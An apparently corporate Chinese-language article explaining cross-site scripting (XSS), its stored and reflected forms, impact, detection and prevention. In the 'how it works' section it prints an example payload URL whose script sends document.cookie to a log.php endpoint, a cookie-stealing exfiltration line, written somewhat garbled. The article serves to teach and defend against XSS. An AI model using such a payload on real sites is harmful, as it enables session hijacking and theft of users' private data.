< 返回新闻公告列表

什么是跨站点脚本,工作的原理及类型

发布时间:2020-04-05 11:14:56    来源: 知鸟云

跨站点脚本介绍

随着Internet上Web应用程序数量的增加,Web安全现在已成为重要的关注点。如今,黑客攻击和窃取用户的私人数据非常普遍,这威胁到他们使用任何应用程序。跨站点脚本是对用户的网络安全性的普遍攻击之一。让我们深入了解什么是跨站点脚本。跨站点脚本称为XSS,是一个计算机安全漏洞,攻击者旨在将一些脚本形式的恶意代码添加到受信任的网站/网页中。这是一种客户端代码注入攻击,当用户访问该网站时,恶意脚本会在用户的Web浏览器上执行。这些网站间接成为将恶意代码发送给用户的媒介。通过注入脚本,攻击者绕过了安全限制的DOM(文档对象模型),并访问了用户的敏感页面内容,会话cookie,浏览历史记录,并由浏览器维护了大部分私有数据。包含论坛,留言板,允许评论的网页以及使用未经消毒的用户输入和由此产生的输出的网站最容易受到XSS攻击。尽管XSS攻击在VBScript,ActiveX和CSS中是可能的,但它们在Javascript中最为常见,因为它是大多数浏览体验的基础。

不同类型的跨站点脚本(XSS)

尽管没有特定的跨站点脚本分类,但是一些专家将其分为两种,下面将详细讨论:

存储的XSS攻击:

存储的XSS是攻击者注入的恶意脚本存储在数据库中,并在用户尝试以某种形式访问数据库时在用户的浏览器上运行。这些也称为持久性或存储XSS。这是最具破坏性的攻击之一,尤其是在网站/网页允许评论或允许嵌入HTML内容时发生。攻击者将javascript添加到注释中,该javascript将存储在数据库中,并且当用户访问受影响的页面时,从数据库中检索数据,表明恶意脚本在其浏览器中运行,并且攻击者获得了对用户私人数据的未授权访问。例如,在像Olx这样的电子商务网站中,该网站有一个未经消毒的产品说明消息框,攻击者是产品销售者,在其中添加了恶意javascript,它将被存储在网站的数据库中。当买方打开产品描述以查看产品详细信息时,由于脚本在其Web浏览器中执行,因此现在成为受害者,并且浏览器允许的所有用户详细信息都会被劫持。

过程XSS攻击:

这是攻击者可以对用户造成XSS攻击的最常见方法之一。基本上,在Procedure XSS攻击中,攻击者通过发送电子邮件,恶意链接或在搜索结果中附加指向可信网站但包含恶意javascript代码的字符串来锁定受害者。如果受害者单击该URL,它将启动HTTP请求,并将请求发送到易受攻击的Web应用程序。然后,该请求会以嵌入式JavaScript代码的响应返回受害者,网络浏览器会考虑到该请求来自受信任的网站,从而导致其浏览器的机密数据被劫持,该请求会返回给受害者。例如,在一个电子商务网站中,有一个搜索框,用户可以在其中搜索项目,并且当搜索请求发送到服务器时,写在搜索框中的字符串在网站的URL中可见。攻击者创建一个链接,在该链接中将恶意脚本链接到URL中,然后通过电子邮件将其发送给受害者。当受害者打开该链接时,该请求将发送到攻击者的恶意网站,并且受害者的所有浏览器数据都会被劫持并发送到攻击者的系统。

跨站点脚本(XSS)如何工作?

在跨站点脚本(XSS)漏洞中,攻击者的主要动机是通过在其浏览器中运行恶意脚本来窃取用户数据,该恶意脚本通过不同方式注入到用户正在使用的网站内容中。例如,当用户在网站中搜索某些文本时,请求将以以下形式发送到服务器:

https://www.zhiniaoyun.net/search?q=text1

在搜索结果中,网站返回结果以及用户搜索的内容,例如:

您搜索:text1    

如果搜索功能容易受到XSS的攻击,则攻击者可以在URL中添加恶意脚本:

https://www.zhiniaoyun.net/search= <脚本>  文档位置= https://zhiniaoyun.net/log.php?c='+encodeURIComponent(document.cookie)</ script>    

当受害者单击此链接时,它将重定向到恶意网站,即https://zhiniaoyun.net,并且所有浏览器数据都直接发送到攻击者的计算机,导致攻击者窃取了所有会话令牌/ cookie。这样,攻击者将其恶意脚本注入URL中,攻击者还可以将该脚本存储在“存储的XSS”下的服务器中。

跨站点脚本漏洞的影响:

跨站点脚本的影响差异很大。利用XSS漏洞后,攻击者可以完全控制受害者的浏览器,并且可以执行不同的操作,这些操作从较小的操作(例如查看浏览器历史记录)到灾难性的操作(例如在计算机中插入蠕虫)。

攻击者可以利用XSS漏洞执行以下操作:

泄露敏感信息,例如用户名和密码。在计算机上插入蠕虫。将用户重定向到一些危险的网站并强制执行某些操作访问受害者的浏览历史记录。安装特洛伊木马程序。通过获取访问权限来强制用户执行和修改应用程序中的值

查找跨站点脚本漏洞:

发生XSS漏洞的原因有两个,要么来自用户的输入未经过验证,然后再发送到服务器,要么接收到的输出未经过HTML编码。牢记XSS漏洞的灾难性影响并保护用户的隐私,确定Web应用程序是否易受XSS攻击非常重要。尽管XSS难以识别和删除,但是最好的检查方法是对代码进行安全检查,并检查HTTP请求的输入可以在应用程序中显示为Output的所有位置。使用包括专用XSS扫描程序模块的自动漏洞扫描程序工具来扫描整个Web应用程序,还可以帮助扫描和查找应用程序中的漏洞。

是否要阻止XSS?

XSS是一个代码注入漏洞,因此对发送到服务器的数据以及从服务器到用户浏览器的数据进行编码非常重要。数据验证也非常重要,因此浏览器无需任何恶意命令即可解释代码。引入了不同的预防方法,将数据验证和编码保持为网站容易受到XSS攻击的优先级。

需要重点注意防止XSS:

应该关闭所有Web服务器上的HTTP跟踪支持,因为即使受害者计算机的浏览器中禁用了document.cookie,攻击者仍可以通过来自服务器的HTTP跟踪调用来窃取cookie和专用浏览器数据。开发人员应清除输入内容,并且在未经验证的情况下,切勿输出直接从用户接收的数据。如果链接不是以白名单协议(例如HTTP://,https://)开头的,则通常应禁止链接,从而阻止使用URI方案(例如javascript://)

总结:

XSS攻击非常危险,并且可能损害用户的隐私并窃取数据,除非普通用户仔细浏览该应用程序。因此,开发人员在开发应用程序时应遵循严格的安全规则,尤其对于数据和服务器均应如此,以使该应用程序最不易受到XSS的攻击,并且更多的用户可以依赖它。


相关推荐